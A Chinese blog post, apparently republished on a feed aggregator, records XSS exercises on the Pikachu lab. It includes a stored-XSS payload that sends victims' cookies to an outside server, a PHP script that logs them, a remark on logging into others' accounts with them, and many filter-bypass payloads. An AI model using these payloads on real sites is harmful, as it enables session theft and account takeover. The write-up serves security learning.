惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

MongoDB | Blog
MongoDB | Blog
J
Java Code Geeks
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
D
DataBreaches.Net
腾讯CDC
GbyAI
GbyAI
I
InfoQ
博客园 - Franky
G
Google Developers Blog
Last Week in AI
Last Week in AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
V
Visual Studio Blog
Vercel News
Vercel News
博客园_首页
MyScale Blog
MyScale Blog
Martin Fowler
Martin Fowler
N
Netflix TechBlog - Medium
V
V2EX
T
The Blog of Author Tim Ferriss
M
MIT News - Artificial intelligence
雷峰网
雷峰网
H
Hackread – Cybersecurity News, Data Breaches, AI and More
大猫的无限游戏
大猫的无限游戏
The GitHub Blog
The GitHub Blog

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析
XSS实验
卷卷 · 2023-02-10 · via 卷卷

XSS实验

通过存储型XSS获取被攻击者的cookie

  1. 首先,搞清楚原理,cookie在哪里?要发到那里?利用什么发?​3165839-20230505102219883-856345275

  2. 在web server 端构造如下payload

    payload1(不进行编码):<script>document.write('<img src="http://47.113.187.x:91/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
    
    payload2(base64编码):<script>document.write('<img src="http://192.168.43.18/xssGetCookie/getcookie.php?cookie='+window.btoa(unescape(encodeURIComponent(escape(document.cookie))))+'">');</script>
  3. payload提交后javascript脚本操纵DOM对象写入img标签,并且标签的url中拼接了用户的cookie值,当浏览器渲染页面时就会GET形式请求图片资源,并将cookie值携带到攻击者服务器。

    image

  4. 在攻击者服务器需要提供和payload路径对应的url给请求端访问,攻击者服务器获取GET中的cookie存储到文本文件中。

    <?php //攻击端,用于接收被攻击端请求的信息
    $cookie = $_GET['cookie']; //获取cookie信息
    $log =  fopen('cookie.txt','a'); //生成获取的cookie信息,打开文件,a是追加写模式
    fwrite($log,$cookie.PHP_EOL); //fwrite写入
    fclose($log);
    ?>
  5. 查看文本文件,两个payload所请求的cookie。​

    image

    经过编码的cookie经过base64和URL解码如下

    name=ichunqiu; PHPSESSID=1iadqpfqbcrjqjfamfdmjchn2t; _ga_P1JF3QTQ79=GS1.1.1726128058.2.0.1726128058.0.0.0
  6. 当其他用户访问该网页

    攻击者端生成如下cookie

    image

  7. 编码的cookie经过base64和URL解码如下

    PHPSESSID=8mf3m5s9h457dlnqfjdmdi5st8

  8. 利用该cookie可以通过工具实现不用账号密码登录他人账户。

Pikachu的XSS实验

存储型

在页面输出cookie即操作DOM获取cookie并展示到页面。

payload:

 <script>document.write('<p>'+document.cookie+'</p>');<script>

注意:document.write中需要是输出字符和变量的拼接。

image

</p><img src="https://www.hacked.com.cn/images/logo.gif" border="0"  onmouseover="javascript:alert('广告位招租')"><p>

image

</p><img src="https://www.hacked.com.cn/images/logo.gif" border="0"  onclick="javascript:alert('广告位招租')"><p>

image

</p><a href="https://nav3.cn/side?page=6&id=0&_=1726107142616">点我导航</a><p>

image

反射型(GET)

直接输入</p>标签被闭合

image

payload:

</p><script>document.write('<p>'+document.cookie+'</p>');</script>

image

反射型(POST)

登录

image

登录发现套路一样

payload:

</p><script>document.write('<p>'+document.cookie+'</p>');</script>

image

DOM型xss

输入111,发现被放到a的href里

image

#' onclick="alert(document.cookie)">   闭合href标签,并且在中添加a有的点击事件。

image

DOM型xss-x

输入内容,发现拼接在URL

image

在a的href里拼接,使其闭合。

image

使用’闭合href,加入onclick事件获取cookie

' onclick="alert(document.cookie)"'

image

xss之href输出

image

W3School中对<a>标签的href属性有以下描述(引用摘自HTML <a> 标签的 href 属性):

<a> 标签的 href 属性用于指定超链接目标的 URL。

href 属性的值可以是任何有效文档的相对或绝对 URL,包括<span data-type="text" style="color: var(--b3-font-color9);">片段标识符</span> <span data-type="text" style="color: var(--b3-font-color9);">JavaScript 代码段</span>。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行<span data-type="text" style="color: var(--b3-font-color9);"> JavaScript 表达式</span><span data-type="text" style="color: var(--b3-font-color9);">方法和函数的列表</span>

payload:

javascript:alert(document.cookie)

image

XSS与标签

伪协议

data:

payload:

<iframe src\="data:text/html,<script>alert('XSS');</script>" " ><iframe>

javascript:

payload:

javascript:alert(document.cookie)  (可用在href里)

XSS变形

实验环境pikachu XSS

  1. 大小写

    <SCRipt>alert(1)</scRiPt>
  2. 引号‘“

  3. 空格过滤/绕过

  4. 回车绕过

    <a href="j
    a
    v
    ascript:alert('XSS')">回车可用</a>

    事件无法使用

  5. 编码绕过

    java==>html 16进制&#x006a;&#x0061;&#x0076;&#x0061;

    script==>html 10进制 &#115;&#99;&#114;&#105;&#112;&#116;

    <a href="&#x006a;&#x0061;&#x0076;&#x0061;&#115;&#99;&#114;&#105;&#112;&#116;:alert('编码可用')">编码可用</a>
  6. 拆分跨站 仅存储型

    //原始payload:
    <script>
        a="alert";
        a=a+"('使用变量和函数调用alert')";
        eval(a);
    </script>
    
    //拆分后payload:
    <script>a="alert";</script>
    <script>a=a+"('使用变量和函数调用alert')";</script>
    <script>eval(a);</script>
  7. 双写 leve7

    payload:

    "><a hrhrefef="javascrscriptipt:alert('XSS')">111</a>

    当字符被过滤可尝试双写绕过

  8. 10进制编码

    <script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
    //使用CharCode调用alert,也可以用eval执行
    //97,108,101,114,116,40,39,88,83,83,39,41解码后为alert('XSS')
  9. Unicode编码

    <script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029\u003b')</script>
    //使用Unicode编码调用alert,也可以用eval执行
  10. 16进制编码

    <script>eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29")</script>